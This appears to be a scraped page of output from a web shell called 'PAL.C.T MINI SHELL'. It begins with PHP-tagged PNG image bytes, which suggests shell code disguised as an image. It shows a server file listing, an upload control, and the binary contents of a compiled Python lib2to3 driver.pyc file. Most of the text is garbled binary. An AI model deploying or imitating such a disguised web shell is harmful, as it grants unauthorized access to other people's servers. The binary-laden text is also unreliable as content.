php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/python2.6/lib2to3/pgen2/
upload
files >> //usr/lib/python2.6/lib2to3/pgen2/driver.pyc

Lc@sdZdZddgZddkZddkZddkZddkZddklZl	Z	l
Z
lZlZde
fdYZd	Zd
deeddZdZdS(
sZParser driver.

This provides a high-level interface to parse a file into a syntax tree.

s#Guido van Rossum <guido@python.org>tDrivertload_grammariNi(tgrammartparsettokenttokenizetpgencBsVeZdddZedZedZedZdedZedZ	RS(cCs<||_|djoti}n||_||_dS(N(RtNonetloggingt	getLoggertloggertconvert(tselfRRR
((s*/usr/lib/python2.6/lib2to3/pgen2/driver.pyt__init__s
	
	cCsPti|i|i}|id}d}d	}}}}	}
d}x|D]}|\}}}}	}
|||fjo||f|jpt||f|f|\}
}||
jo"|d|
|7}|
}d}n||jo||
||!7}|}qn|titi	fjoA||7}|	\}}|i
do|d7}d}qQqQn|tijoti
|}n|o$|iidti|||n|i||||fo |o|iidnPnd}|	\}}|i
do|d7}d}qQqQWtid||||f|iS(
s4Parse a series of tokens and return the syntax tree.iius
s%s %r (prefix=%r)sStop.tsincomplete inputN(RtParserRRtsetupRtAssertionErrorRtCOMMENTtNLtendswithRtOPtopmapR
tdebugttok_nametaddtokent
ParseErrortrootnode(RttokensRtptlinenotcolumnttypetvaluetstarttendt	line_texttprefixt	quintuplets_linenots_column((s*/usr/lib/python2.6/lib2to3/pgen2/driver.pytparse_tokens%sV
)






	cCs"ti|i}|i||S(s*Parse a stream and return the syntax tree.(Rtgenerate_tokenstreadlineR)(RtstreamRR((s*/usr/lib/python2.6/lib2to3/pgen2/driver.pytparse_stream_rawUscCs|i||S(s*Parse a stream and return the syntax tree.(R-(RR,R((s*/usr/lib/python2.6/lib2to3/pgen2/driver.pytparse_streamZscCs;ti|d|}z|i||SWd|iXdS(s(Parse a file and return the syntax tree.trN(tcodecstopenR.tclose(RtfilenametencodingRR,((s*/usr/lib/python2.6/lib2to3/pgen2/driver.pyt
parse_file^scCs(tit|i}|i||S(s*Parse a string and return the syntax tree.(RR*tgenerate_linestnextR)(RttextRR((s*/usr/lib/python2.6/lib2to3/pgen2/driver.pytparse_stringfsN(
t__name__t
__module__RR
tFalseR)R-R.R5R9(((s*/usr/lib/python2.6/lib2to3/pgen2/driver.pyRs0ccs7x|itD]}|VqWxto	dVq"WdS(s<Generator that behaves like readline without using StringIO.RN(t
splitlinestTrue(R8tline((s*/usr/lib/python2.6/lib2to3/pgen2/driver.pyR6ls	sGrammar.txtc	Cs7|djoti}n|djoZtii|\}}|djo
d}n||dittt	i
d}n|pt||o~|id|t
i|}|oT|id|y|i|Wqtj
o }|idt|qXq3nti}|i||S(	s'Load the grammar (maybe from a pickle).s.txtRt.s.pickles!Generating grammar tables from %ssWriting grammar tables to %ssWriting failed:N(RRR	tostpathtsplitexttjointmaptstrtsystversion_infot_newertinfoRtgenerate_grammartdumptIOErrorRtGrammartload(	tgttgptsavetforceR
theadttailtgte((s*/usr/lib/python2.6/lib2to3/pgen2/driver.pyRts&



+$
cCsRtii|ptStii|ptStii|tii|jS(s0Inquire whether file a was written since file b.(RARBtexistsR<R>tgetmtime(tatb((s*/usr/lib/python2.6/lib2to3/pgen2/driver.pyRIs
(t__doc__t
__author__t__all__R0RARRGRRRRRRtobjectRR6RR>R<RRI(((s*/usr/lib/python2.6/lib2to3/pgen2/driver.pyt<module>s(P	
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`